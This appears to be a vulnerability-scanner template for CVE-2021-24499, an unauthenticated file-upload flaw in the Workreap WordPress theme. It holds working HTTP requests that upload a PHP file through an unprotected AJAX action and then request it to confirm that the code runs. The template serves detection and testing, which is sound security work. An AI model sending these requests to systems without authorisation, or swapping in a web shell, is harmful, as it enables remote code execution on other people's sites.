id: CVE-2021-24499

info:
  name: Workreap WordPress theme - unauthenticated RCE
  author: daffainfo
  severity: critical
  description: The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
  reference:
    - https://github.com/RyouYoo/CVE-2021-24499
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24499
  tags: cve,cve2021,wordpress,wp-plugin,rce,intrusive
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-24499
    cwe-id: CWE-434

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
        X-Requested-With: XMLHttpRequest

        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="action"

        workreap_award_temp_file_uploader
        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
        Content-Type: application/x-httpd-php

        <?php echo md5("CVE-2021-24499"); ?>
        -----------------------------cd0dc6bdc00b1cf9--

      - |
        GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "71abe5077dae2754c36d731cc1534d4d"